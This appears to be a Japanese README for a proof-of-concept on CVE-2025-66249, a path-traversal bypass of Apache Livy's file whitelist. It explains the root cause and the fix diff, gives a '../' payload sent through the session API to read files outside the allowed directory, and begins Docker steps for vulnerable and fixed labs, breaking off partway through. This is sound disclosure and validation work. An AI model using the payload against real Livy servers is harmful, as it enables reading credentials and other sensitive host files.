
Apache Livy パストラバーサル ホワイトリストバイパス脆弱性のPOC
教育およびセキュリティ研究目的のみに使用してください。所有していないシステム、または明示的な書面による許可を得ていないシステムに対して使用しないでください。→ 完全な免責事項
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-66249 |
| 深刻度 | 重要(CVSS 該当なし — 2026-03-15 時点で NVD の評価待ち) |
| 影響を受けるバージョン | Apache Livy 0.3.0-incubating 〜 0.8.0-incubating — livy.file.local-dir-whitelist がデフォルト以外の値に設定されている場合のみ |
| 修正バージョン | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: 制限付きディレクトリへのパス名の制限が不適切('パストラバーサル') |
| 開示日 | 2026-03-12(OSS-Sec)/ 2026-03-13(NVD) |
| 報告者 | Hiroki Egawa(発見者) |
Livy の REST または JDBC インターフェースにアクセスできる認証済みユーザーは、 許可されたディレクトリのホワイトリストを逸脱するように細工されたファイルパス設定値を含む Spark セッションまたはバッチジョブを送信できます。
根本原因 — ホワイトリストチェックにおけるパストラバーサル回避(Session.scala)
livy.file.local-dir-whitelist が設定されている場合、Livy 0.8.0 は送信された
パスを Java の String.startsWith() を未正規化(raw)のままのパスに対して呼び出して検証します。
このチェックは ../ によるトラバーサルシーケンスを使用して回避できます:
/opt/safe-data/../sensitive/secret.txt
生の文字列は /opt/safe-data で始まるためチェックは通過しますが、そのパスは
/opt/sensitive/secret.txt に解決され、これはホワイトリストされたディレクトリの完全に外側にあります。
発動条件: この脆弱性は livy.file.local-dir-whitelist が**デフォルト以外(非空)**の値に
設定されている場合にのみ悪用可能です。ホワイトリストが空(デフォルト)の場合、パス検証は
完全にスキップされ、この問題は発動しません。
影響: Livy REST API 経由でセッションを送信する攻撃者は、Livy サーバーのホスト上の 任意のローカルファイルを参照できます。共有アナリティクスクラスタでは、これは Livy プロセスユーザーが読み取り可能な資格情報、キー、設定ファイル、その他あらゆるデータの 漏洩につながる可能性があります。
Session.scala脆弱性あり(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
修正済み(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
両バージョンは、以下の正確なコマンドを使用して Apache Livy 公式 GitHub リポジトリから 直接クローンしました:
リポジトリ: https://github.com/apache/incubator-livy
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| バージョン | タグ | 解決済みコミット | ローカルパス |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: ホワイトリストチェック前に Paths.get().normalize() を実行 import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
v0.8.0 での影響:
生の文字列に対する startsWith チェックは、パストラバーサルペイロードによって回避される可能性があります。
例: livy.file.local-dir-whitelist = /opt/safe-data の場合
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true(回避成功)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false(ブロック)差分は、両タグをローカルにクローンし(上記参照)、以下を実行して生成しました:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← path starts with whitelisted prefix — String.startsWith() passes
← but resolves OUTSIDE the directory via ../ traversal
}
}
│
▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
この PoC の全ステップは以下のシステムで実行・検証しました:
| コンポーネント | 詳細 |
|---|---|
| ホスト OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| カーネル | 6.17.0-14-generic x86_64 |
| アーキテクチャ | x86_64 |
| 総メモリ | 15 GiB |
| Docker Engine | 28.2.2 |
| ホスト JDK | OpenJDK 17.0.18(ホストのみで使用 — コンテナは eclipse-temurin:11-jdk-focal を使用) |
| コンテナベースイメージ | eclipse-temurin:11-jdk-focal(JDK 11、Ubuntu Focal) |
| Spark バージョン(両イメージ) | 3.1.3 with Hadoop 3.2 |
| Livy バージョン — 脆弱性ありイメージ | 0.8.0-incubating |
| Livy バージョン — 修正済みイメージ | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
完全なエンドツーエンドの手順 — 以下のステップ 1 から 4 を順番に実行してください:
Step 1: Build vulnerable image → start container → verify Livy is up
Step 2: Run validate.sh → confirm VULNERABLE (attack HTTP 201) → stop container
Step 3: Build fixed image → start container → verify Livy is up
Step 4: Run validate.sh → confirm FIXED (attack HTTP 400) → stop container
注: Livy は
docker run実行後、準備完了になるまで約 15〜20 秒かかります。 以下のすべてのステップでは、API 呼び出しの前に明示的なsleep 20を含めています。
ファイル:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — 0.0.0.0:8998 にバインド、ローカルモード、ホワイトリスト = /opt/safe-data1a. イメージをビルド:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
検証 — イメージが作成されたことを確認:
docker images cve-2025-66249-vulnerable
期待される出力:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. コンテナを起動:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
検証 — コンテナが実行中であることを確認:
docker ps --filter name=livy-vulnerable
期待される出力: